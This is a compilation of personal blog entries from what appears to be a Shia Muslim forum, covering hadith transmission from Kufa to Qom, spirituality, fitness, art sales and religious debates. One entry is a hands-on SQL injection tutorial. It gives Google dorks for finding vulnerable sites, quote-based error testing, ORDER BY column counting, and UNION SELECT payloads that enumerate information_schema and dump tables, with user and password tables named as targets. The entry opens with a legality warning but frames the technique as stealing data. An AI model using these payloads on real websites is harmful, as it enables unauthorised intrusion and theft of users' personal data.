    Husayn bin Sa’eed bin Hammad bin Sa’eed bin Mehran al-Ahwazi was another Kufan scholar who played a role in bringing over some works to Qom. Him and his brother Hasan first leave Kufa and travel to Ahwaz and then migrate to Qom. They bring with themselves the works of Rib’iyy bin ‘Abdillah al-Basri, Shu’ayb al-‘Aqr Qufiyy, Hamid bin Muthanna, Qasim bin Muhammad Jawhari al-Kufi, Qasim bin Sulayman al-Baghdadi, Qasim bin ‘Urwah al-Baghdadi, Hariz bin ‘Abdillah al-Sijistani, Zur’ah bin Muhammad al-Hadhrami and more. Husayn also brings with himself thirty of his own written works to Qom and transmitted them to various students.

    Abu Ja’far Muhammad bin ‘Ali bin Ibrahim bin Musa al-Sayrafi – known as Abu Sumaynah, a Kufan narrator who was eventually exiled from Qom by Ahmad bin Muhammad as well, brought with him the book of Ishaq bin Yazid bin Ismail al-Ta’i, some books of Ismail bin Mehran bin Abi Nasr al-Sakuni, book of Hafs bin ‘Asim Salami, book of Sulaym bin Qays, book of Salam bin ‘Abdillah al-Hashimi, book of Haytham bin Waqid Jazari, book of Abu Badr al-Kufi and the book of Nasr bin Mazahim al-Kufi. He will be referred to again in a later post when we discuss the phenomenon of certain narrators being exiled from the city of Qom.

    Muhammad bin ‘Abdul Jabbar al-Qumi – known as Ibn Abi al-Sahban, a companion of Imam Jawwad, Hadi, and ‘Askari. He was also one of those scholars who traveled to Kufa and brought back with him some of Kufa’s hadith heritage. His most important teachers in Kufa were Safwan bin Yahya, Muhammad bin Ismail Bazi’, and Hasan bin ‘Ali bin Fadhdhal. It doesn’t seem like he had any book of his own, and was merely recognized as someone who was able to transfer over some of the hadith works from Kufa to scholars in Qom. Most of his narrations in Qom are narrated by Ahmad bin Idris, ‘Abdullah bin Ja’far al-Himyari, Muhmmad bin al-Hasan al-Saffar and Muhammad bin Yahya al-‘Attar.

    Perhaps the most prolific scholar who is renowned for bringing much of Kufa’s hadith heritage to Qom is Ibrahim bin Hashim. He is remembered as the first scholar to bring Kufa’s hadith to Qom and to have spread it. Some of the works he brought with him were: the Asl of Ibrahim bin ‘Abd al-Hamid, books of Ismail bin Abi Ziyad al-Sakuni, books of Hariz bin ‘Abdillah al-Sijistani, book of ‘Abdullah bin Sinan, books of Ibn Abi ‘Umayr, books of Muhammad bin Ismail bin Bazi’, Asl of Hisham bin Salim, some books of Mufadhdhal bin ‘Umar, book of Zayd Narasi, book of Sulaym Farra’, book of Yahya bin ‘Imran bin ‘Ali bin Abi Shu’ba al-Halabi just to name a few.[3]

    For at least the next 150 years, Qom would become the most important city when it came to Shi’i theological discourse. Eventually much of Qom’s hadith heritage does return back to Iraq, to the city of Baghdad when the likes of Shaykh Mufid begin gaining authority.

    With regards to the topic of Kufa’s heritage moving over to Qom, Ibrahim bin Hashim is notably remembered by multiple scholars as being the first person to spread the hadith of the Kufans in Qom was him.[4] However, when we look at the list above, we see that Muhammad bin Khalid al-Barqi, Husayn bin Sa’eed and Ahmad bin Muhammad bin ‘Isa were all scholars who had already brought with them a lot of traditions from Kufa much before Ibrahim bin Hashim. So why is it that the latter scholars gave this honour to Ibrahim rather than those who were prior to him? There could be a few possible reasons for this and a closer look at the other three scholars may help us in determining this.

    One thing to note is that the attribution given to Ibrahim bin Hashim is that the works he brought to Qom were widely-spread, not that he merely transmitted them or passed them down to his students. That being said, when we consider al-Barqi, it is known that one of the reasons he was exiled from Qom by Ahmad al-Ash’ari was because he would narrate from unknown or weak people. This would have been enough of a reason for many of the scholars of Qom to act cautiously with regards to his narrations, leading to his narrations not having spread to such an extent where it would be deemed as spreading the Kufan heritage. Some have suggested that it is possible al-Barqi may have returned back to his own town on the outskirts of Qom called Barqah-Rud, and that would have been a plausible reason why his ahadith did not spread in Qom – however this seems far-fetched, simply because Qom seems to be the most sensible location for a scholar of hadith to have returned back to, and also when we see that Ahmad al-Ash’ari exiled him from Qom it indicates that he was in Qom to begin with.

    As for Husayn bin Sa’eed, he had thirty of his own written works in Kufa which he brought with him to Qom. His main focus had been to spread these narrations which he had compiled himself, and not the rest of the heritage he had brought with him. Furthermore, Husayn bin Sa’eed did not live too long after coming to Qom, dying a short while after, which could mean that he simply didn’t have enough time to spread and transmit all the works he had brought with him to such an extent that would merit him the status of being the first one to widely-spread the heritage of Kufa in Qom.

    When it comes to Ahmad bin Muhammad al-Ash’ari – who was also the authority in Qom – it seems that there may been another reason he is not given this description. He not only had more of an opportunity to widely spread the heritage of Kufa that he had brought back with him to Qom, but he also had many of the same teachers as Ibrahim bin Hashim and both were living during the same era. The one factor that could have caused the scholars to still give Ibrahim bin Hashim the credit for spreading the heritage of Kufa in Qom the fact that Ibrahim was someone who was brought up and raised in Kufa, whereas Ahmad was originally a scholar of Qom. In other words, Ibrahim was the first Kufan scholar who have come to Qom and have the Kufan heritage widely-spread in the city.

    Another side point that should be mentioned here is that Ibrahim bin Hashim is credited for carrying over the theological teachings of the school of the great theologian and companion Hisham bin Hakam from Kufa to Qom as well. Ibrahim bin Hashim is claimed to have been the student of Yunus bin ‘Abdul Rahman who himself was one of the strongest students of Hisham bin Hakam. Whether Ibrahim was indeed a student of Yunus or not is disputed as there is no narration which Ibrahim narrates directly from Yunus (as is the natural case in a student-teacher relationship), and every narration from Yunus appears to have an individual between them. Nevertheless, Ibrahim does seem to have been influenced by this school of thought, and likewise his son Ali bin Ibrahim who will be discussed in a later article as well.

    This is important to know because figures such as Ahmad bin Muhammad al-Ash’ari and many later Qom scholars were staunchly against some of the theological ideas of Hisham bin Hakam, and had even written books against him and Yunus bin ‘Abdul Rahman. Despite this, they were still welcoming of Ibrahim bin Hashim and his narrations which indicates the level of trust and respect Ibrahim must have had in the city of Qom.

    ————————————–

    [1] One of the works I have heavily relied on for this blog post is the research paper: Sayr-e Intiqal-e Mirath-e Maktub-e Shi’eh dar Ayeneh-ye Fihrist-ha written by Ruhullah Shaheedi and Dr. Muhammad Ali Mahdawi-Raad.

    [2] Al-Fihrist of Shaykh Tusi, pg. 52

    [3] Refer to Najashi’s al-Rijal and Shaykh Tusi’s al-Fihrist. About 19 more works can be found in Shaykh Tusi’s al-Fihrist and 3 more in Najashi’s al-Rijal.

    [4] The famous line as recorded in Najashi’s al-Rijal is this: أصحابنا يقولون: أوّل من نشر حديث الكوفيين بقم, هو (Our scholars have said: The first person to spread the hadith of the Kufans in Qom, was him)

  5. The most satisfying spouse  is the God Fearing Man. He is the one you should look for and he most likely wont be online-he's too busy making a difference in the world.

    You will never be bored with him. The way he is devoted to Allah SWT will fill you up with admiration and respect. His humor will be wholesome and sweet. His shyness and the way he lowers his gaze will make you fall madly in love with him. He will be  truthful. He will be pleased to meet your mother and greet her in the most polite manner as if he were her own son. He might not be a 10, but how he takes care of his body, and the Noor given to him from Allah SWT will be enough to attract you for a life time making him an 11 in your book. 

    He will never put you down. His language will be pure and sweet. You will feel safe and beautiful with him, and he will inspire you to fulfill your Islamic duties as a wife to the best of your abilities

  6. Musings

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  7. Logical reasoning

    Intellectual arguments

    Rational recognitions

    Eternal reflections

    Purity of spirit

    Eternal soulfulness

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  8. hameedeh
    Latest Entry

    Doctors take an oath to their patients: "First, do no harm." Consider this statement: "Speak the truth, but not to punish." I am making it my goal to show kindness to others, and that includes what I say as well as what I do. Bismillah.

     May your days be sunny, your nights restful, and your heart satisfied with the blessings that Allah has given you. Think Positive. 

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  9. Just gathering a number of posts here, that sparked a desire to delve deeper into the question of Mental Health among the Muslims, and how it is affected by their relationship with Allah.

    Thinking on it particularly tonight, as I slip back into a heavy feeling of non-motivation, and occasionally swing up from it, when I remember Allah, and muster the energy for Ibadah.

    I have responsibilities that require more of me than this partial-existence, yet there must be some reason for this emotional and spiritual obstacle.

    Am I falling short in some aspect? That it can cause me to focus on nothing else in life but Allah [to the point where seeking Rizq, keeping good relations, and fulfilling promises falls by the wayside]. Or is this a hidden blessing? A test to endure, and Insha'Allah, to overcome.

    Stuck between a deep desire to please Allah, and a feeling of complete incapability to take even small actions toward doing so. Left with a Whole Heart, which feels too Hollow.

    Ya Allah Adrikni
    His mercy and kindness is too great to have left a sincere seeker without a solution,
    Yet there seems to be no substance in the space where I expect it.
    So perhaps I am looking in the wrong place or in the wrong manner.
    Either way, this self and nafs must transform and develop.

     

  10. :bismillah:

    :salam:

    Let's spread some light on how life is when you're an introvert. Now, I've seen many people claiming to be introverts when they read about us but just because you can relate to a few of the things doesn't make you one of us, you loser! Everyone's a bit introverted and a bit extroverted. If you're more introverted, you're an introvert and the same for an extrovert. If you're somewhere in between, you're an ambivert and that's no fun at all. Seriously, you're no fun.

    For starters, introverts are pretty selective about who they talk to mostly. For the ones we do care about, we talk a lot, we're chatterboxes! But we're more on the listening side. When with someone new, we listen, we smile, we don't know what would be the right thing to say... Yups! But even after being with friends, it becomes exhausting. Extroverts are like leeches, always ready to feed on energy when it comes to socializing. Poor introverts only give energy when we socialize which makes it really exhausting after some time. So, we want to be left alone for some time so we can recharge. So, keep away!

    Image result for how to deal with an introvert

    See that bubble up there, extroverts? Try not to burst it, you monsters! We feel really safe inside of it. Yeah, you can't see it but you can get an idea of what you're being really annoying. Trust me! We're amazing once we let you in that bubble but try to keep it slow and let us learn if you're our type or not. We're sensitive, you know... Nah! We're not. At least all introverts aren't. We can be heartless too. *wink*

    Image result for cyanide and happiness introvert

    Calls... Oh! Please don't call... We can chat through Whatsapp or how about SMS? :) If you're an introvert, you'll get it.

    Although we don't like to socialize much but getting ignored isn't that great either. We're pretty happy by ourselves too. Unlike extroverts, it's not that easy for an introvert to get bored. Especially when you have shiachat to waste time on... Or reading too. Yes, we do that too.

    Like I said before, we're great listeners but an introvert with a great imagination will get lost in his own fantasy world the moment you start to get boring. Don't believe me? The next time you've been talking to an introvert for too long, when you finish, you'll see him/her smile only. You know why? Cuz s/he has no idea what you said. So, s/he just smiled. I do that a lot too. Extroverts do that too... So rude of them!

    Well, I think that's all for now. I can't really come up with anything else for now. Update complete! Time for gaming!

    Introvert, signing out!

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    notme
    Latest Entry

    Salam alaikum. I had a little blog here before, but it perished in the crash. May it rest in peace. It's alright though. It gives me an opportunity to start over. 

    One thing that always has been a big motivator in my life is the thrill of learning new things and of solving problems. So I'm going to blog about what I'm currently learning, inshallah. I'll probably say a thing or two about knowledge and understanding in general, and I might even touch on how I believe knowledge of the universe might make some of us stronger Muslims. 

     

  11. So week 1 finished. Eating all this food was quite the joy. And also painful at times. I will continue to eat as i have, with some variations, changing steak with chicken, fish with shrimp etc. For week 2 i will switch up the workouts a little.

    Results from Week 1:

    Body info:

    • Weight: 91kg


    Lifts Max:

    • Bench: 127kg
    • Deadlift: 185kg
    • Squat: still 150kg :(

    Increased strength all over, specially back and shoulders seem to be a lot stronger. I will try to focus more on legs this week by killing them with supersets and partials.


    Changes for Week 2
    Mondays will now include legs as well which looks something like this:

    Superset 1: Squats + Leg Press > 4 sets of 8/8/6/6 reps
    Superset 2: Leg Extensions + Walking lunges > 4 sets of 12/10/8/6 reps
    Superset 3: Romanian deadlift + Leg curls > 4 sets of 12/10/8/6 reps
    Calves: Calf raises > 4 sets to failure

    Goal: Squat 155kg by the end of 3rd week


     

  12. WARNING: PERFORMING AN SQL INJECTION (indeed any form of hacking) WITHOUT PERMISSION OF THE PEOPLE WHO OWN THE THING YOU ARE TRYING TO HACK IS VERY ILLEGAL. IF CAUGHT, YOU WILL GO TO JAIL. DO NOT BE AN IDIOT. ITS VERY EASY TO BE CAUGHT IF YOU ARE BASIC LEVEL. THERE'S PLENTY OF SAFE (LEGAL) WAYS TO PRACTICE. 

    SQL injection is a form of hacking where you manipulate a standard search bar to steal data from a website. the best way to think about it is, imagine that when you search for something in a search bar, the website looks for results in a table in a database. an SQL injection is used to "steal" the information in that database. so for example lets say I wanted to search for the member @notme in shiachats search bar. her profile name might be held in a table that also lists her email address, personal info, address, credit card details, passwords etc. I could use a SQL injection to get the whole table of all members of SC and all their personal information. 

    Luckily, the security on SC is 10/10 and this is not possible. but there's far too many websites which do not take cyber security seriously, and keep all sensitive data in basically unprotected tables. 

    we will firstly look at the theory behind it, then do the old fashioned (manual) way so we can fully understand how everything works. hacking isn't just remembering some commands or pressing a few buttons, its more of an art- a way to think. its a way to solve puzzles. SQL injections are a perfect example of that. 

    an excellent discussion of what SQL is, and why this works:

    http://www.kalitutorials.net/2014/03/sql-injection-how-it-works.html 

    really take a few minutes to get your head around SQL. its not complicated, it doesn't take long, and by understanding the theory, everything to follow becomes 1000 times easier. 

    Doing it manually

    my notes are based on this guide:

    http://www.kalitutorials.net/2014/03/hacking-websites-using-sql-injection.html

    (1) GOOGLE DORKS

    a "google dork" is a way of using googles search facility to find websites that could be sensitive to SQL injection. 

    an example of a google dork is typing this into google:

    inurl:"products.php?prodID="

    if you type this in to google, it brings up a list of websites that have .php in the URL. this is what we are looking for. the other bits of the code are just used to narrow down the search a bit if you can guess what some of the headings of the columns in the table are. 

    a more complete list of Google Dorks can be seen here:

    http://1337mir.com/hacking/2013/10/google-dorks-sql-injection/ 

    no one is ever going to expect you to memorise these off by heart. what matters is you remember the structure of the command.

    inurl: tells google to look within the URL for some text you are about to type
    "<guess a name of the very first column>.php? look for a URL that includes this
    <something>=" what lies after the = is the code we will type to expose the vulnerabilities

    (2) NARROWING DOWN THE LIST TO FIND ACTUALLY VULNERABLE SITES

    this bit is pretty neat. basically lets say you find a website with the URL:

    www.TatbirBlades.com/products.php?prodID=25

    to find out if this website can be victim of a SQL injection or not, simply replace the "25" at the end with a single quote mark ', and see if the web page shows you some error like "Not found","Table","Database","Row","Column","Sql","MysqL" or anything related to a database. In some cases, there would be no error, but there would be some berserk/ unexpected behavior on the page, like a few components not showing up properly, etc.

    if you see something like that, you know that this website is a target:

    asterisk.PNG

     

    (3) FINDING OUT HOW MANY COLUMNS ARE IN THE TABLE YOU ARE ABOUT TO STEAL

    this is just trial and error. 

    go back to the URL above:

    www.TatbirBlades.com/products.php?prodID=25 

    and add a bit of code to the end:

    www.TatbirBlades.com/products.php?prodID=25+order+by+1

    keep changing the number by the end by increments of 1 till you get an error. the last number before the error is how many columns are on the table. 

    so if the final code you enter before an error is 

    www.TatbirBlades.com/products.php?prodID=25+order+by+15

    you know then, that there are 14 columns in total. 

    so for example if there are 10 increments so far and no error:

    columns.PNG

     

    but when you do the 12th column you get this error:

    success.PNG

    you know that there is no 12th column, so there must be 11 columns. 

    (4) FINDING OUT WHICH OF THESE COLUMNS ARE SENSITIVE TO ATTACK

    a vulnerable column is one that allows us to submit an SQL query into the SQL table, through the website URL. 

    lets say that our table have 4 columns. 

    we would enter this code

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4. sometimes you have to put a minus sign - instead of an equals sign = before the first +, so for example

    www.TatbirBlades.com/products.php?prodID-25+union+select+1,2,3,4 

    instead of 

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4

    the page will load properly, except a random number showing up somewhere. take a note of this. this is the vulnerable column. 

    lets say the number 2 pops up somewhere randomly on the page. we then know that column 2 is the vulnerable one. 

    lets use a real example. 

    Lets imagine we have the following result from typing one of the above two URLs:

    union.PNG

    the numbers 11, 7, 2 and 9 appear. 

    we then use the other code (not using the minus after the equals sign) and get this:

    origina.PNG

     

    we can see that the difference between the two, is the number 11. 

    this means that the 11th column is the vulnerable one. BOOM TOWN. 

    thats actually the hardest bit of an SQL injection done. 

    lets recap

    - we identified that the site www.tatbirBlades.com could be victim
    - we identified the size of the table
    - we identified which of the columns in the table are vulnerable

    next, we enter the last code we just used to identify the vulnerable column (i.e. the one that shows the vulnerable column number. in this case it is the one with the minus sign after the equals sign), with an extra bit on the end -  @@version

    So the code would look something like this:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@@version

    this will tell us the version of SQL being used by the website. 

    when you enter the code, you will see something like this:

    @@.PNG

     

    The server is using Sql version 5.1.69, most probably MySQL (pretty common). Also we know the OS is Ubuntu.

    STEALING THE DATA

    we have all the info we need now. 

    In our query which we used to find vulnerable columns (i.e. www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11), we will replace the vulnerable column with table_name and add prefix +from+information_schema.tables. The final url will be

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables

    can you see how the column number (in this case, 11) has been replaced?

    if we enter this URL, we might get something like the following:

    Capture.PNG

    this shows us that the table that column 11 is in, is called "Character_Sets". we dont want just 1 table though, we want the whole database!

    to get all the tables, we simply replace the table_name with group_concat(table_name) to get all tables

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables

    We now can see:

    Capture.PNG

    All the tables in the database!!!

    so lets say the list of tables is:


    CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS

    that "EVENTS" table looks pretty juicy to me. I want to steal that one. 

    to do this, first of all I convert the word "EVENTS" to hex code using any free online text to hex translator. the hex code for the word "Events" is:

    4556454e5453

    remember to always add 0x to the start of any hex code, so the full code is:

    0x4556454e5453

    got it? now all you need to do is enter the following URL:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e5453

    can you see how logically we are building up the commands so far? 

    like I said, its not HARD. its just about knowing how to think, and knowing enough SQL to find out what you need to know. 

    if you have done the code correctly, then you should see a list of all the columns in the EVENTS table:

    Capture.PNG

    We will follow the same pattern as we did so far. We had replaced the vulnerable column (i.e. 11) with table_name first, and then column_name. Now we will replace it with the column we want to obtain data from. Lets assume we want the data from the first column in the above pic, ie. event_catalog. We will put the following URL-

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,EVENT_CATALOG+from+information_schema.EVENTS 

    if you see nothing:

    failure.PNG

    that means that our query was fine (otherwise we would see an error message) but the table we just downloaded is empty. it happens all the time. 

    so we need to steal data from another, more useful table. 

    lets try CHARACTER_SETS and the first column CHARACTER_SET_NAME (we know the first column by repeating the steps above)

    by looking at the name CHARACTER_SETS, we can assume that it will just be a table of the different types of languages that data can be inputted in. luckily, as well as being an expert hacker, I am also a big fan of languages so am really keen to see what languages are used in this database. 

    I enter the following code, in the exact same format as before:

    www.tatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARACTER_SETS

    and get the following:

    success.PNG

     

    so I know what all the values are! 

    In a similar manner you can go through other tables and columns. It will be definitely more interesting to look through a table whose name sounds like 'USERS' and the columns have name 'USERNAME' and 'PASSWORD'.  I would show you how to organise results in a slightly better way and display multiple columns at once. This query will return you the data from 4 columns, separated by a colon (:) whose hex code is 0x3a.

    www.TatbirBlades.org/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETS

    Capture.PNG

    Look at all that lovely, lovely data!!!!

    this is literally the oldest, slowest, most manual way to sql inject. theres a much quicker way to do it, but with this version, you dont need any fancy shmancy software or operating system. you can do it right in your regular old internet browser. 

    get your head around the steps and structure of the SQL commands, next post will show how to automate like 90% of the process. 

  13. A placeholder for the second chapter, summarising my research findings into the decline of Shi'i Intellectual thought production, which will focus on:

    - how the 'chain/sanad' method contributed to this decline,  killed off any hope of academic revival ,and dumbed down the level of scientific research within the Religious seminaries. 

    - the foremost scholar to establish this method of eliciting religious rulings and verifying narrations  (knowingly or unknowingly) - S AbulQassim alKhoei, may God bless his soul,and the people who followed his method after him.

    I want to be absolutely clear that my research focuses entirely on the methodologies used by these different currents (Akhbaris/Usoolis etc), and not the individuals who became famous as a result of it. 

     

  14. Bismillah

    Salam

    Here are some thoughts and updates about how my coloring page is coming along.

    - It had some momentum at first... I was averaging 1 finished coloring page a month. Now it's been like 5+ months and nothing... I just feel like I have little time and even littler inspiration these days. Deep down I am still passionate about the idea... but it doesn't manifest itself. 

    - I hired my niece a few months ago to help me produce more pages more quickly and offer a variety of styles. She is an artist herself, so the idea was that she can come up with sketches/ designs, send them to me, and then I turn them into a finished coloring page. She gets $5 per finished design and a % of every sale of that coloring page. She did do one for me so far, but she is very busy as well so I understand if she can't produce much. (Anyone else interested?)

    - I actually am working on a design right now. I am excited about it, I think I will like how it comes out when finished. Probably because it is based off of one of my old (and favorite) paintings. 

    - I learned that I am absolutely terrible at promoting myself. I just don't like it. I even made an Instagram because I heard that it's good for this type of stuff, but I dislike posting. I'm very shy and hate attention. Hmm... how will that work with my entrepreneurial side? 

    - I've made 8 sales in all. Every time I get an email saying I made a sale, I get so happy! Even though I literally make pennies off of every sale lol. But that's fine, I don't do this for the monies. 

    I think that's all for now. Here are the 2 coloring pages that I have completed since my last blog. 

    icecreamgirlssmall.thumb.jpg.59b2ae1e2eb225780222a9039f898ad5.jpgtreesandflowersmall.jpg.67a8de06b49bef5a60c4e3c7fb7f3e5f.jpg

    Link to shop: https://www.etsy.com/shop/TzahArt

  15. Bismillah

    InshAllah I will be sharing my perspective on a few issues on this blog which I feel are of particular importance to Muslims in the West:

    • Dealing with bullying
    • Difficulties with family and society on becoming more religiously practicing
    • Towards a literate (Islamically and in non-religious areas) Muslim community
    • How a Muslim community should act in a non-Muslim society

     

    There it is, a promise of delivery, inshAllah.

     

    I will inshAllah start writing soon, after some additionaly preliminary readings.

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    • I never said or claimed they're doing something good for Islam, just good in general in combating Wahhabi Ideology.  I could care less if another human being sins or draws cartoons of the beloved Prophet SAW.  Because in no way do they nor could they damage what he has done for the world and I'm secure in that. Idols in all forms must be destroyed, including the ones deep in our hearts.
    • Man I think you have got it all wrong as well. You have to be kidding me if you think Majid Nawaz is doing something for Islam as he may appear to battle extremism. Tell me what has majid Nawaz done for Islam apart from all his useless talk? This guy is not a liberal nor a muslim https://newrepublic.com/article/128436/maajid-nawaz-really-believe Plz read this and educate yourself on his real motives. This is a same guy who drew the cartoons of Prophet Muhammad(pbuh). There are much better and devoted muslims who are battling extremism in a much better way. Example is Omar Suleiman (sunni imam in America). Majid Nawaz has an ego and contradicts himself. I can site so many instances but you can research yourself what he actually says.
    • "According to Islam, we are to imitate the sunnah of the 14 infalliables (as). There are good deeds mentioned in the Quran, like giving to orphans, which we do imitate, but others we do interpret, theough tafsir, which you completely reject. However, Muslims don't interpret based on their opinions, but on the opinions of the 14 infalliables (as). Got it? I hope so....... More soon!" Good luck on whether or not you're following something someone made up about them or not, the same I say to the Sunni's and their Sahaba. The way I see it, 14 infallibles (as) and how they behaved is not preserved well at all.  But that's just me.  ""Most Muslims treat the Quran as a document to imitate rather than interpret, suffocating our capacity to think for ourselves." " I can resonate very well with this statement, because it's for this reason we have extremist Wahhabi movements that are violent and power hungry to justify their nafs. At the same time people want to kill each other because of their differing interpretations where no where in the Qu'ran does it say one must die or be oppressed for such - rather it comes from Hadith. I fail to understand criticisms of "Liberal-ness" of the likes of Suhaib Webb, Majid Nawaz, etc.. At least they're not forcing or implicating people are wrong for not following their own ideas/interpretations - they're in no way condemning those who follow otherwise unless it's a path of destruction.  They're not going around saying, "this is the True Islam",  everyone must and should do such and such. They're only fighting the same extremism Shia's, Sunni's and other people of faith's suffer from, and try to find an equilibrium. And the same can be said of religious "training" and creating authorities who hold the keys that can drive extremism as well, because at the end of the day, is reading a bunch of papers and books and sitting and thinking about them going to make you the Ijaza qualified person to give religious authority? -----THERE IS NO RELIGIOUS AUTHORITY----- Islam is undone and doesn't exist as it once did, there's no one unified Caliph for all the Muslims to follow living and communicating to us that well trust - we are divided, broken and all victim's of subjective/relative interpretation that society/modern times has forced us into. What religious training exists today that will promise one Jannah? You ask 30 million people, you get 30 million different answers, including different scholars even from within the same sects! The result is the same if everyone had religious training or not, extremism will persist!   When she says ..." We Muslims have to change ourselves, that's the main difference. We can't keep blaming America or Israel for our misery." " Why isn't this valid?  What makes you think she's wrong that there's nothing to change in ourselves?   Our lack of unification, our constant bickering and intolerance of each other, pan nationalism instead of pan unity is the very fiber that exploits us and tears us apart further!? What gives anyone a right to define rules and subject people to them?   Muslims are stuck in traditions and what they were brought up with, how many will question their own selves/faith/sect and ponder an attitude that will lead to positive change? She is the way she is because of what the Muslims have done to each other, many of her opinions are skewed and down right corrupted/twisted and inaccurate of how she see's Islam, but the Sunni's, and Shia' have no one but themselves to blame for this.  Muslims these days tend to think individually, and not wholesomely - or just extend their attention to their country and not their brethren or recognize the fact their enemies are their brethren while their current brethren are their enemies. The inconsistencies/wrongs prevalent in modern day Shiasm/Sunnism are the same reason you reject all of her words, she in the same fashion rejects much of contemporary Sunnism/Shiasm as you see it.    
    • To Elaborate further, Suhayb spent any and all his wealth to the poor and community, even after the Prophet SAW died, and continued to spend his stipends for the needy and did not partake in corrupt Ummayyad wealth schemes. This reeks of guilt by association, in a false accusation of a legitimate believing Sahaba  of being evil, all because he was cried over Umar's death and lead prayers after his death temporarily.  That's unfortunately not an academic/scholarly line of thought at all, and most importantly  it's not an Islamic line of logic. Suhayb in his character was a Greek-Speaking Arab who was kidnapped from a wealthy family and brought up as a slave in Byzantine society, unlike Salman he had no knowledge of the Bible,, Hebrew and other Aristocratic attributes... instead Suhyab only learned directly from the Prophet's SAW Sermons.  His Arabic was harsh/heavy and himself had a difficult time re-learning it. Contextually, Suhayb was a close companion but never could be in an inner circle of influence that was Umar, Uthman, and the rest of the "higher social ranked" Sahaba.  Instead he chose to act simply and directly in what he perceived was the direct way to please Allah SWT, e.g.(Hadith where he gave food after being questioned by 'Umar why he starved himself, that the Prophet SAW told him the best of people were those who gave food and charity).  He was innocent to a fault, and perhaps ignorant.  Assuming Shia rhetoric of 'Umar and Abu Bakr is true of their plot to Usurp the Khilafah,  Suhayb was ignorantly in no place to understand with his lacking Arabic speech and distance from that social status (since he was a slave and not Quraish), the ramifications that 'Umar could have been an evil man and he was crying over an evil guy. He seemed to be a goof ball as well, and is cited for making the Prophet SAW laugh on many occasions, and would never do it at any one else's expense. Shame on the people who ascribe lies and false sayings to the Imams, AS on them all. I've read deeply into the sources in al Kafi, and Yasser Habibs hate rhetoric and I find not a single ounce of legitimate nor logical premises of which to condemn/accuse Suhayb by direct actions, words, or speech. Nearly all sources, even Shia indicate Suhayb as a righteous companion and follower of the Prophet SAW.
    • Is this reference to Suhayb bin Sinan/ aka Suhayb Ar Rumi RA?  Or a different Suhayb? I'd be surprised, considering Suhayb Ar Rumi/bin Sinan was close companions of Bilal ibn Rabah RA and Salman e Farsi RA.  As non-Arab Sahaba, they frequently spent much of their time together. Also, from tafsir, a Quran verse was reveled upon Suhayb's arrival to Medina after being held back by the Qu'raish... he had to give up all of his wealth that he acquired after arriving as a runaway slave of the Byzantine Empire to escape Mecca to Medina after the Hijrah. "Thereupon, the glorious verse was revealed: ‘And of mankind is he who sell himself, seeking the pleasure of Allah And Allah is full of kindness to (His) slaves’ (Quran 2:201). " In fact, he's also fought in every battle alongside the Prophet SAW, and never ran from any nor left his side. Also, Suhayb lived out the rest of his life till old age, spreading for Da'wah until he died (In response to the OP's post).  These were taken from WikiShia: He and Imam Ali were the last of Immigrants who joined the Prophet (s) in the first half of Rabi' I. Some have related the revelation of verse 207 of the sura al-Baqara to him. However, it is famous that it has been revealed about the role of Imam Ali  at Laylat al-Mabit. Suhayb participated in the battles of Badr, Uhud, Khandaq and other battles of the Prophet (s). About him, the noble Prophet (s) said, "the leaders are four people; I am the leader of Arabs, Suhayb is the leader of Romans, Salman is the leader of Persians and Bilal is the leader of Habesha."
    • Salaam, Here's a bit of other side perspective: Sahih Bukhari Hadith Vol.2, Hadith. 375,
      Narrated by Abdullah bin Ubaidullah bin Abi Mulaika
      One of the daughters of 'Uthman died at Mecca. We went to attend her funeral
      procession. Ibn 'Umar and Ibn Abbas were also present. I sat in between them (or
      said, I sat beside one of them. Then a man came and sat beside me.) 'Abdullah
      bin 'Umar said to 'Amr bin 'Uthman, "Will you not prohibit crying as Allah's
      Apostle has said, 'The dead person is tortured by the crying of his relatives?"
      Ibn Abbas said, "Umar used to say so." Then he added narrating, "I accompanied
      Umar on a journey from Mecca till we reached Al-Baida. There he saw some
      travelers in the shade of a Samura (A kind of forest tree). He said (to me), 'Go
      and see who those travelers are.' So I went and saw that one of them was Suhaib.
      I told this to 'Umar who then asked me to call him. So I went back to Suhaib and
      said to him, 'Depart and follow the chief of the faithful believers.' Later,
      when 'Umar was stabbed, Suhaib came in weeping and saying, 'O my brother, O my
      friend!' (on this 'Umar said to him, 'O Suhaib! Are you weeping for me while the
      Prophet said, "The dead person is punished by some of the weeping of his
      relatives?" ' Ibn Abbas added, "When 'Umar died I told all this to 'Aisha and
      she said, 'May Allah be merciful to Umar. By Allah, Allah's Apostle did not say
      that a believer is punished by the weeping of his relatives. But he said, Allah
      increases the punishment of a non-believer because of the weeping of his
      relatives." 'Aisha further added, "The Quran is sufficient for you (to clear up
      this point) as Allah has stated: 'No burdened soul will bear another's burden.'
      " (35.18). Ibn Abbas then said, "Only Allah makes one laugh or cry." Ibn Umar
      did not say anything after that.